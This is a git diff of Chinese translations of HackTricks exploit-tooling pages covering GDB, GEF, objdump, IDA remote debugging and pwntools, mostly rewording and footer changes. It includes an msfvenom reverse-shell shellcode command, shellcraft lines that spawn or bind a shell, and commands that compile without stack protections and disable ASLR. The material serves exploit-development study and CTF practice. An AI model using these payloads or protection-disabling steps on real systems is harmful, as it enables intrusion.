</details>
|
||||||
|
|
||||||
|
@ -25,42 +23,20 @@ msfelfscan -j esi /opt/fusion/bin/level01
|
||||||
```
|
```
|
||||||
## Shellcodes
|
## Shellcodes
|
||||||
|
|
||||||
Shellcode是一段用于利用软件漏洞的机器码。它通常用于利用缓冲区溢出等漏洞,以在目标系统上执行恶意代码。Shellcode的目标是获取系统访问权限,从而使黑客能够执行各种操作,如远程控制、文件访问和系统信息收集。
|
Shellcode是一段用于利用软件漏洞的机器码,通常用于构建恶意软件。 Shellcode通常以二进制格式编写,用于利用缓冲区溢出等漏洞。
|
||||||
|
|
||||||
Shellcode通常以二进制形式存在,并且必须与特定的操作系统和架构兼容。因此,编写Shellcode时需要考虑目标系统的操作系统类型(如Windows、Linux或macOS)和架构(如x86、x64或ARM)。
|
|
||||||
|
|
||||||
Shellcode的编写可以使用汇编语言或高级语言(如C或C++)。一些常见的Shellcode编写工具包括NASM、GCC和LLVM。
|
|
||||||
|
|
||||||
在利用漏洞时,Shellcode通常通过将其注入到受攻击的程序中来执行。这可以通过多种方式实现,如利用缓冲区溢出、格式化字符串漏洞或使用特定的漏洞利用工具。
|
|
||||||
|
|
||||||
Shellcode的编写是黑客和安全研究人员的重要技能之一。了解Shellcode的工作原理和编写方法可以帮助他们更好地理解和防御各种漏洞攻击。
|
|
||||||
```
|
```
|
||||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||||
```
|
```
|
||||||
# GDB
|
# GDB
|
||||||
|
|
||||||
## 安装
|
## 安装
|
||||||
|
|
||||||
To install GDB, you can use the following command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo apt-get install gdb
|
|
||||||
```
|
|
||||||
|
|
||||||
Once the installation is complete, you can verify the installation by running the following command:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
gdb --version
|
|
||||||
```
|
|
||||||
|
|
||||||
This will display the version of GDB installed on your system.
|
|
||||||
```
|
```
|
||||||
apt-get install gdb
|
apt-get install gdb
|
||||||
```
|
```
|
||||||
## 参数
|
## 参数
|
||||||
|
|
||||||
**-q** --> 不显示横幅\
|
**-q** --> 不显示横幅\
|
||||||
**-x \<file>** --> 从此处自动执行GDB指令\
|
**-x \<file>** --> 自动执行来自此处的GDB指令\
|
||||||
**-p \<pid>** --> 附加到进程
|
**-p \<pid>** --> 附加到进程
|
||||||
|
|
||||||
### 指令
|
### 指令
|
||||||
|
@ -73,37 +49,37 @@ apt-get install gdb
|
||||||
\> **help**\
|
\> **help**\
|
||||||
\> **quit**
|
\> **quit**
|
||||||
|
|
||||||
\> **br func** --> 在函数中添加断点\
|
\> **br func** --> 为函数添加断点\
|
||||||
\> **br \*func+23**\
|
\> **br \*func+23**\
|
||||||
\> **br \*0x12345678**\
|
\> **br \*0x12345678**\
|
||||||
**> del NUM** --> 删除指定数量的断点\
|
**> del NUM** --> 删除相应数量的断点\
|
||||||
\> **watch EXPRESSION** --> 如果值发生变化,则中断
|
\> **watch EXPRESSION** --> 如果值发生变化则中断
|
||||||
|
|
||||||
**> run** --> 执行\
|
**> run** --> 执行\
|
||||||
**> start** --> 在main函数中开始并中断\
|
**> start** --> 在main函数中启动并中断\
|
||||||
\> **n/next** --> 执行下一条指令(不进入函数内部)\
|
\> **n/next** --> 执行下一条指令(不进入函数内部)\
|
||||||
\> **s/step** --> 执行下一条指令\
|
\> **s/step** --> 执行下一条指令\
|
||||||
\> **c/continue** --> 继续执行直到下一个断点
|
\> **c/continue** --> 继续直到下一个断点
|
||||||
|
|
||||||
\> **set $eip = 0x12345678** --> 更改$eip的值\
|
\> **set $eip = 0x12345678** --> 更改$eip的值\
|
||||||
\> **info functions** --> 函数信息\
|
\> **info functions** --> 函数信息\
|
||||||
\> **info functions func** --> 函数的信息\
|
\> **info functions func** --> 函数信息\
|
||||||
\> **info registers** --> 寄存器的值\
|
\> **info registers** --> 寄存器的值\
|
||||||
\> **bt** --> 栈\
|
\> **bt** --> 栈\
|
||||||
\> **bt full** --> 详细的栈信息
|
\> **bt full** --> 详细栈信息
|
||||||
|
|
||||||
\> **print variable**\
|
\> **print variable**\
|
||||||
\> **print 0x87654321 - 0x12345678** --> 计算\
|
\> **print 0x87654321 - 0x12345678** --> 计算\
|
||||||
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 以八进制/十六进制/十进制/二进制/指令/ASCII显示内容
|
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 显示八进制/十六进制/十进制/二进制/指令/ASCII中的内容
|
||||||
|
|
||||||
* **x/o 0xDir\_hex**
|
* **x/o 0xDir\_hex**
|
||||||
* **x/2x $eip** --> 从EIP中获取2个字
|
* **x/2x $eip** --> 来自EIP的2个字\
|
||||||
* **x/2x $eip -4** --> $eip - 4
|
* **x/2x $eip -4** --> $eip - 4
|
||||||
* **x/8xb $eip** --> 8个字节(b-> 字节, h-> 2字节, w-> 4字节, g-> 8字节)
|
* **x/8xb $eip** --> 8个字节(b-> 字节, h-> 2字节, w-> 4字节, g-> 8字节)
|
||||||
* **i r eip** --> $eip的值
|
* **i r eip** --> $eip的值
|
||||||
* **x/w pointer** --> 指针的值
|
* **x/w pointer** --> 指针的值
|
||||||
* **x/s pointer** --> 指针指向的字符串
|
* **x/s pointer** --> 指针指向的字符串
|
||||||
* **x/xw \&pointer** --> 指针所在的地址
|
* **x/xw \&pointer** --> 指针所在地址
|
||||||
* **x/i $eip** —> EIP的指令
|
* **x/i $eip** —> EIP的指令
|
||||||
|
|
||||||
## [GEF](https://github.com/hugsy/gef)
|
## [GEF](https://github.com/hugsy/gef)
|
||||||
|
@ -138,20 +114,20 @@ gef➤ pattern search 0x6261617762616176
|
||||||
```
|
```
|
||||||
## 技巧
|
## 技巧
|
||||||
|
|
||||||
### GDB相同的地址
|
### GDB相同地址
|
||||||
|
|
||||||
在调试过程中,GDB的地址与执行二进制文件时使用的地址**略有不同**。您可以通过以下方式使GDB具有相同的地址:
|
在调试时,GDB的地址会**与执行二进制文件时使用的地址略有不同。** 您可以通过以下方式使GDB具有相同的地址:
|
||||||
|
|
||||||
* `unset env LINES`
|
- `unset env LINES`
|
||||||
* `unset env COLUMNS`
|
- `unset env COLUMNS`
|
||||||
* `set env _=<path>` _将二进制文件的绝对路径放在这里_
|
- `set env _=<path>` _将二进制文件的绝对路径放在这里_
|
||||||
* 使用相同的绝对路径利用二进制文件
|
- 使用相同的绝对路径利用二进制文件
|
||||||
* 在使用GDB和利用二进制文件时,`PWD`和`OLDPWD`必须相同
|
- 使用GDB和利用二进制文件时,`PWD`和`OLDPWD`必须相同
|
||||||
|
|
||||||
### 回溯以查找调用的函数
|
### 回溯以查找调用的函数
|
||||||
|
|
||||||
当您有一个**静态链接的二进制文件**时,所有的函数都属于二进制文件(而不是外部库)。在这种情况下,很难**确定二进制文件遵循的流程,例如要求用户输入**。\
|
当您有一个**静态链接的二进制文件**时,所有函数将属于二进制文件(而不是外部库)。在这种情况下,**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
|
||||||
您可以通过使用**gdb**运行二进制文件,直到要求输入时停止它,然后使用**`bt`**(**回溯**)命令查看调用的函数来轻松确定此流程:
|
您可以通过**使用gdb运行**二进制文件直到要求输入为止来轻松识别此流程。然后,使用**`bt`**(**回溯**)命令停止它以查看调用的函数:
|
||||||
```
|
```
|
||||||
gef➤ bt
|
gef➤ bt
|
||||||
#0 0x00000000004498ae in ?? ()
|
#0 0x00000000004498ae in ?? ()
|
||||||
|
@ -160,56 +136,56 @@ gef➤ bt
|
||||||
#3 0x00000000004011a9 in ?? ()
|
#3 0x00000000004011a9 in ?? ()
|
||||||
#4 0x0000000000400a5a in ?? ()
|
#4 0x0000000000400a5a in ?? ()
|
||||||
```
|
```
|
||||||
## GDB服务器
|
## GDB 服务器
|
||||||
|
|
||||||
`gdbserver --multi 0.0.0.0:23947`(在IDA中,您需要在Linux机器和Windows机器中填写可执行文件的绝对路径)
|
`gdbserver --multi 0.0.0.0:23947`(在IDA中,您必须填写Linux机器和Windows机器中可执行文件的绝对路径)
|
||||||
|
|
||||||
# Ghidra
|
# Ghidra
|
||||||
|
|
||||||
## 查找堆栈偏移
|
## 查找堆栈偏移
|
||||||
|
|
||||||
**Ghidra**非常有用,可以通过有关本地变量位置的信息找到**缓冲区溢出的偏移量**。\
|
**Ghidra** 对于查找**缓冲区溢出的偏移**非常有用,因为它提供了关于本地变量位置的信息。\
|
||||||
例如,在下面的示例中,`local_bc`中的缓冲区溢出表示您需要一个偏移量为`0xbc`。此外,如果`local_10`是一个canary cookie,表示从`local_bc`覆盖它的偏移量为`0xac`。\
|
例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外,如果 `local_10` 是一个 canary cookie,则从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\
|
||||||
_请记住,RIP保存的第一个0x08属于RBP。_
|
_请记住,保存 RIP 的第一个 0x08 属于 RBP。_
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (616).png>)
|
![](<../../.gitbook/assets/image (616).png>)
|
||||||
|
|
||||||
# GCC
|
# GCC
|
||||||
|
|
||||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 编译时去除保护\
|
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 无保护编译\
|
||||||
**-o** --> 输出\
|
**-o** --> 输出\
|
||||||
**-g** --> 保存代码(GDB将能够查看它)\
|
**-g** --> 保存代码(GDB 可以查看)\
|
||||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
|
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
|
||||||
|
|
||||||
**编译shellcode:**\
|
**编译 shellcode:**\
|
||||||
**nasm -f elf assembly.asm** --> 返回“.o”\
|
**nasm -f elf assembly.asm** --> 返回“.o”\
|
||||||
**ld assembly.o -o shellcodeout** --> 可执行文件
|
**ld assembly.o -o shellcodeout** --> 可执行文件
|
||||||
|
|
||||||
# Objdump
|
# Objdump
|
||||||
|
|
||||||
**-d** --> 反汇编可执行文件的各个部分(查看编译后的shellcode的操作码,查找ROP Gadgets,查找函数地址...)\
|
**-d** --> 反汇编可执行文件的**部分**(查看编译后的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...)\
|
||||||
**-Mintel** --> **Intel**语法\
|
**-Mintel** --> **Intel** 语法\
|
||||||
**-t** --> **符号**表\
|
**-t** --> **符号**表\
|
||||||
**-D** --> **反汇编全部**(静态变量的地址)\
|
**-D** --> **反汇编所有**(静态变量的地址)\
|
||||||
**-s -j .dtors** --> dtors部分\
|
**-s -j .dtors** --> dtors 部分\
|
||||||
**-s -j .got** --> got部分\
|
**-s -j .got** --> got 部分\
|
||||||
\-D -s -j .plt --> **plt**部分**反编译**\
|
\-D -s -j .plt --> **plt** 部分 **反编译**\
|
||||||
**-TR** --> **重定位**\
|
**-TR** --> **重定位**\
|
||||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> 修改GOT中的"puts"的地址\
|
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 地址\
|
||||||
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址(这些存储在DATA部分)。
|
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
|
||||||
|
|
||||||
# Core dumps
|
# Core dumps
|
||||||
|
|
||||||
1. 在启动程序之前运行`ulimit -c unlimited`
|
1. 在启动程序之前运行 `ulimit -c unlimited`
|
||||||
2. 运行`sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||||
3. 运行`sudo gdb --core=\<path/core> --quiet`
|
3. `sudo gdb --core=\<path/core> --quiet`
|
||||||
|
|
||||||
# 更多
|
# 更多
|
||||||
|
|
||||||
**ldd executable | grep libc.so.6** --> 地址(如果启用ASLR,则每次都会更改)\
|
**ldd executable | grep libc.so.6** --> 地址(如果启用 ASLR,则每次都会更改)\
|
||||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\
|
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\
|
||||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"的偏移量\
|
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\
|
||||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"的偏移量
|
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移
|
||||||
|
|
||||||
**strace executable** --> 可执行文件调用的函数\
|
**strace executable** --> 可执行文件调用的函数\
|
||||||
**rabin2 -i ejecutable -->** 所有函数的地址
|
**rabin2 -i ejecutable -->** 所有函数的地址
|
||||||
|
@ -221,29 +197,27 @@ _请记住,RIP保存的第一个0x08属于RBP。_
|
||||||
```
|
```
|
||||||
# IDA
|
# IDA
|
||||||
|
|
||||||
## 在远程 Linux 上进行调试
|
## 在远程 Linux 中调试
|
||||||
|
|
||||||
在 IDA 文件夹中,您可以找到用于在 Linux 上调试二进制文件的可执行文件。要这样做,请将 _linux\_server_ 或 _linux\_server64_ 可执行文件移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:
|
在 IDA 文件夹中,您可以找到用于在 Linux 中调试二进制文件的可执行文件。要这样做,请将 _linux\_server_ 或 _linux\_server64_ 二进制文件移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:
|
||||||
```
|
```
|
||||||
./linux_server64 -Ppass
|
./linux_server64 -Ppass
|
||||||
```
|
```
|
||||||
然后,配置调试器:调试器(远程Linux)-> 进程选项...:
|
然后,配置调试器:调试器(远程Linux)--> 进程选项...:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (101).png>)
|
![](<../../.gitbook/assets/image (101).png>)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
```
|
||||||
|
@ -18,57 +16,55 @@ pip3 install pwntools
|
||||||
```
|
```
|
||||||
# Pwn asm
|
# Pwn asm
|
||||||
|
|
||||||
从行或文件中获取操作码。
|
从行或文件获取操作码。
|
||||||
```
|
```
|
||||||
pwn asm "jmp esp"
|
pwn asm "jmp esp"
|
||||||
pwn asm -i <filepath>
|
pwn asm -i <filepath>
|
||||||
```
|
```
|
||||||
**可以选择:**
|
**可选项:**
|
||||||
|
|
||||||
* 输出类型(原始、十六进制、字符串、elf)
|
* 输出类型 (原始,十六进制,字符串,elf)
|
||||||
* 输出文件上下文(16位、32位、64位、Linux、Windows...)
|
* 输出文件上下文 (16,32,64,linux,windows...)
|
||||||
* 避免字节(换行符、空字符、列表)
|
* 避免字节 (换行符,空字符,列表)
|
||||||
* 选择使用gdb运行输出的编码器调试shellcode
|
* 选择使用gdb运行输出的编码器调试shellcode
|
||||||
|
|
||||||
# **Pwn checksec**
|
# **Pwn checksec**
|
||||||
|
|
||||||
检查安全性脚本
|
Checksec脚本
|
||||||
```
|
```
|
||||||
pwn checksec <executable>
|
pwn checksec <executable>
|
||||||
```
|
```
|
||||||
# Pwn constgrep
|
# 利用 constgrep
|
||||||
|
|
||||||
# Pwn cyclic
|
# 利用 cyclic
|
||||||
|
|
||||||
获取一个模式
|
获取一个模式
|
||||||
```
|
```
|
||||||
pwn cyclic 3000
|
pwn cyclic 3000
|
||||||
pwn cyclic -l faad
|
pwn cyclic -l faad
|
||||||
```
|
```
|
||||||
**可以选择:**
|
**可选项:**
|
||||||
|
|
||||||
* 使用的字母表(默认为小写字母)
|
* 使用的字母表(默认为小写字符)
|
||||||
* 唯一模式的长度(默认为4)
|
* 唯一模式的长度(默认为4)
|
||||||
* 上下文(16、32、64、Linux、Windows...)
|
* 上下文(16,32,64,linux,windows...)
|
||||||
* 获取偏移量(-l)
|
* 获取偏移量(-l)
|
||||||
|
|
||||||
# Pwn调试
|
# Pwn 调试
|
||||||
|
|
||||||
将GDB附加到一个进程
|
将 GDB 附加到一个进程
|
||||||
```
|
```
|
||||||
pwn debug --exec /bin/bash
|
pwn debug --exec /bin/bash
|
||||||
pwn debug --pid 1234
|
pwn debug --pid 1234
|
||||||
pwn debug --process bash
|
pwn debug --process bash
|
||||||
```
|
```
|
||||||
**可选择的选项:**
|
**可选择:**
|
||||||
|
|
||||||
* 通过可执行文件、名称或进程ID上下文(16位、32位、64位、Linux、Windows...)
|
* 通过可执行文件、名称或pid上下文(16,32,64,linux,windows...)
|
||||||
* 要执行的gdbscript
|
* 要执行的gdbscript
|
||||||
* sysroot路径
|
* sysroot路径
|
||||||
|
|
||||||
# 禁用二进制文件的NX保护
|
# 禁用二进制文件的nx
|
||||||
|
|
||||||
禁用二进制文件的NX保护
|
|
||||||
```
|
```
|
||||||
pwn disablenx <filepath>
|
pwn disablenx <filepath>
|
||||||
```
|
```
|
||||||
|
@ -78,35 +74,35 @@ pwn disablenx <filepath>
|
||||||
```
|
```
|
||||||
pwn disasm ffe4
|
pwn disasm ffe4
|
||||||
```
|
```
|
||||||
**可选择的选项:**
|
**可以选择:**
|
||||||
|
|
||||||
* 上下文(16、32、64、Linux、Windows...)
|
* 上下文 (16,32,64,linux,windows...)
|
||||||
* 基地址
|
* 基地址
|
||||||
* 颜色(默认)/无颜色
|
* 颜色(默认)/无颜色
|
||||||
|
|
||||||
# Pwn elfdiff
|
# Pwn elfdiff
|
||||||
|
|
||||||
打印两个文件之间的差异
|
打印出两个文件之间的差异
|
||||||
```
|
```
|
||||||
pwn elfdiff <file1> <file2>
|
pwn elfdiff <file1> <file2>
|
||||||
```
|
```
|
||||||
# Pwn 十六进制
|
# Pwn hex
|
||||||
|
|
||||||
获取十六进制表示形式
|
获取十六进制表示
|
||||||
```bash
|
```bash
|
||||||
pwn hex hola #Get hex of "hola" ascii
|
pwn hex hola #Get hex of "hola" ascii
|
||||||
```
|
```
|
||||||
# Pwn phd
|
# Pwn phd
|
||||||
|
|
||||||
获取十六进制转储(hexdump)
|
获取十六进制转储
|
||||||
```
|
```
|
||||||
pwn phd <file>
|
pwn phd <file>
|
||||||
```
|
```
|
||||||
**可以选择:**
|
**可以选择:**
|
||||||
|
|
||||||
* 要显示的字节数
|
* 要显示的字节数
|
||||||
* 每行突出显示的字节数
|
* 每行要突出显示的字节数
|
||||||
* 跳过开头的字节数
|
* 跳过开头的字节
|
||||||
|
|
||||||
# Pwn pwnstrip
|
# Pwn pwnstrip
|
||||||
|
|
||||||
|
@ -122,15 +118,15 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||||
```
|
```
|
||||||
**可选择的内容:**
|
**可选项:**
|
||||||
|
|
||||||
* shellcode和shellcode的参数
|
* shellcode和shellcode的参数
|
||||||
* 输出文件
|
* 输出文件
|
||||||
* 输出格式
|
* 输出格式
|
||||||
* 调试(将dbg附加到shellcode)
|
* 调试(将dbg附加到shellcode)
|
||||||
* 在代码之前设置调试陷阱
|
* 在代码之前设置调试陷阱
|
||||||
* 在代码之后设置调试陷阱
|
* 在代码之后
|
||||||
* 避免使用操作码(默认:非空和换行符)
|
* 避免使用操作码(默认: 非空和换行符)
|
||||||
* 运行shellcode
|
* 运行shellcode
|
||||||
* 彩色/无彩色
|
* 彩色/无彩色
|
||||||
* 列出系统调用
|
* 列出系统调用
|
||||||
|
@ -143,7 +139,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||||
```
|
```
|
||||||
pwn template
|
pwn template
|
||||||
```
|
```
|
||||||
**可以选择:**主机、端口、用户、密码、路径和静默模式
|
**可选项:** 主机、端口、用户、密码、路径和静默
|
||||||
|
|
||||||
# Pwn unhex
|
# Pwn unhex
|
||||||
|
|
||||||
|
@ -153,22 +149,20 @@ pwn unhex 686f6c61
|
||||||
```
|
```
|
||||||
# Pwn 更新
|
# Pwn 更新
|
||||||
|
|
||||||
要更新 pwntools,可以运行以下命令:
|
更新 pwntools
|
||||||
```
|
```
|
||||||
pwn update
|
pwn update
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,89 +1,89 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
